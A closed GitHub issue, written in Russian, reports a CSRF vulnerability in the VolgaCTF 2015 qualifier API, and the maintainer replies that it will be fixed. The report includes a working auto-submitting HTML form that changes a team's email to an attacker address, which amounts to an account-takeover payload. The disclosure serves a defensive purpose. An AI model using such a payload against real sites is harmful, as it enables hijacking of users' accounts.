VolgaCTF/volgactf-qualifier-backend

API CSRF

Closed this issue · 1 comments

api.2015.volgactf.ru уязвим к CSRF атакам.

Пример изменения email команды:

<form id="csrf" action="http://api.2015.volgactf.ru/team/change-email" method="POST">
  <input type="hidden" name="email" value="test@attacker.com" />
  <input type="submit" value="Submit request" />
</form>
<script>document.getElementById("csrf").submit()</script>

Thanks for pointing out the problem! I will try to fix it soon.